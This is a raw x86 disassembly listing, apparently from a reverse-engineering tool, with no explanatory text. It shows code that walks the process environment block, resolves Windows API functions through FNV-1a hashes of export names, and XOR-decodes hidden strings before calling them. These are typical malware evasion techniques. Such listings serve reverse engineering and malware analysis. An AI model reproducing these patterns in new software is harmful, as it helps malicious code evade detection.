mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41bd25
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41bd08
cmp esi, 0xda5113dc
je 0x41bd33
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41bcf0
mov eax, dword [eax]
jmp 0x41bcc7
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x170]
cmp ecx, 0x10
jb 0x41bd9c
mov edx, dword [ebp - 0x184]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41bd92
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c50b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x549c70]
xor ecx, ecx
movups xmmword [ebp - 0x2d7], xmm0
mov dword [ebp - 0x2c7], 0xf7f0ecfb
movaps xmm0, xmmword [0x546fc0]
mov byte [ebp - 0x2c3], 0xfe
movups xmmword [ebp - 0x2c2], xmm0
nop dword [eax + eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x2d7], al
inc ecx
cmp ecx, 0x1b
jb 0x41bdd0
mov dword [0x55d618], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2d7]
mov byte [ebp - 0x2bc], 0
movups xmmword [ebp - 0x19c], xmm0
mov dword [ebp - 0x18c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x188], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41be14
sub ecx, edx
lea eax, [ebp - 0x2d7]
push ecx
push eax
lea ecx, [ebp - 0x19c]
call fcn.00402b80
mov byte [ebp - 4], 8
lea eax, [ebp - 0x19c]
cmp dword [ebp - 0x188], 0x10
cmovae eax, dword [ebp - 0x19c]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41bebf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41bebf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41beb5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41be98
cmp esi, 0xda5113dc
je 0x41bec3
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41be80
mov eax, dword [eax]
jmp 0x41be57
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x188]
cmp ecx, 0x10
jb 0x41bf2c
mov edx, dword [ebp - 0x19c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41bf22
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c510
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x5493a0]
xor ecx, ecx
movups xmmword [ebp - 0x365], xmm0
mov word [ebp - 0x355], 0xf6f8
movaps xmm0, xmmword [0x548200]
mov byte [ebp - 0x353], 0xf0
movups xmmword [ebp - 0x352], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x365], al
inc ecx
cmp ecx, 0x19
jb 0x41bf60
mov dword [0x55d638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x365]
mov byte [ebp - 0x34c], 0
movups xmmword [ebp - 0x1b4], xmm0
mov dword [ebp - 0x1a4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1a0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41bfa4
sub ecx, edx
lea eax, [ebp - 0x365]
push ecx
push eax
lea ecx, [ebp - 0x1b4]
call fcn.00402b80
mov byte [ebp - 4], 9
lea eax, [ebp - 0x1b4]
cmp dword [ebp - 0x1a0], 0x10
cmovae eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41c04f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41c04f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41c045
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41c028
cmp esi, 0xda5113dc
je 0x41c053
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41c010
mov eax, dword [eax]
jmp 0x41bfe7
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1a0]
cmp ecx, 0x10
jb 0x41c0bc
mov edx, dword [ebp - 0x1b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c0b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c515
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x549950]
xor ecx, ecx
movups xmmword [ebp - 0xaa], xmm0
mov dword [ebp - 0x9a], 0xf5f0ecf4
xorps xmm0, xmm0
mov byte [ebp - 0x96], 0xf5
movq qword [ebp - 0x95], xmm0
mov word [ebp - 0x8d], 0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0xaa], al
inc ecx
cmp ecx, 0x15
jb 0x41c0f1
mov dword [0x55d5ac], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xaa]
mov byte [ebp - 0x95], 0
movups xmmword [ebp - 0x1cc], xmm0
mov dword [ebp - 0x1bc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1b8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c135
sub ecx, edx
lea eax, [ebp - 0xaa]
push ecx
push eax
lea ecx, [ebp - 0x1cc]
call fcn.00402b80
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x1cc]
cmp dword [ebp - 0x1b8], 0x10
cmovae eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41c1e7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41c1e7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41c1dd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41c1c0
cmp esi, 0xda5113dc
je 0x41c1eb
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41c1a5
mov eax, dword [eax]
jmp 0x41c180
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1b8]
cmp ecx, 0x10
jb 0x41c254
mov edx, dword [ebp - 0x1cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c24a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c51a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x549360]
xor ecx, ecx
movups xmmword [ebp - 0x2fc], xmm0
mov dword [ebp - 0x2ec], 0xfcf0ecf8
movaps xmm0, xmmword [0x547110]
mov byte [ebp - 0x2e8], 0xf2
movups xmmword [ebp - 0x2e7], xmm0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x2fc], al
inc ecx
cmp ecx, 0x1b
jb 0x41c283
mov dword [0x55d618], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2fc]
mov byte [ebp - 0x2e1], 0
movups xmmword [ebp - 0x1e4], xmm0
mov dword [ebp - 0x1d4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1d0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c2c7
sub ecx, edx
lea eax, [ebp - 0x2fc]
push ecx
push eax
lea ecx, [ebp - 0x1e4]
call fcn.00402b80
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x1e4]
cmp dword [ebp - 0x1d0], 0x10
cmovae eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41c377
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41c377
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41c36d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41c350
cmp esi, 0xda5113dc
je 0x41c37b
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41c335
mov eax, dword [eax]
jmp 0x41c310
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1d0]
cmp ecx, 0x10
jb 0x41c3e4
mov edx, dword [ebp - 0x1e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c3da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c51f
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41c457
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41c457
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41c44d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41c430
cmp esi, 0x1242154a
je 0x41c45b
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41c415
mov eax, dword [eax]
jmp 0x41c3f0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x34]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x64]
push 0x5424e0
push edx
push 1
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x1c]
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x41c4a7
mov dword [ebp - 0x2c], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 4], 0xd
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x41c4c1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
int3